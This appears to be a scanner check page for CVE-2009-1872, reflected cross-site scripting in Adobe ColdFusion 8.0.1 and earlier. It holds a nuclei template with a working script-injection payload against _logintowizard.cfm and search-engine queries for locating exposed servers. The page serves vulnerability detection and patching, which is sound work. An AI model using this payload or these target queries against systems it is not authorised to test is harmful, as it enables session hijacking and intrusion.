Adobe Coldfusion <=8.0.1 - Cross-Site Scripting

mediumseverity

4.3CVSS score

16.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Adobe Coldfusion to a version higher than 8.0.1 or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "ColdFusion" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2009-1872 -u <target>

The full check

id: CVE-2009-1872

info:
  name: Adobe Coldfusion <=8.0.1 - Cross-Site Scripting
  author: princechaddha,s4e-io
  severity: medium
  description: Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Adobe Coldfusion to a version higher than 8.0.1 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.tenable.com/cve/CVE-2009-1872
    - http://www.adobe.com/support/security/bulletins/apsb09-12.html
    - http://www.dsecrg.com/pages/vul/show.php?id=122
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1872
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2009-1872
    cwe-id: CWE-79
    epss-score: 0.16083
    epss-percentile: 0.96948
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2009,cve,adobe,xss,coldfusion,tenable,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "ColdFusion"
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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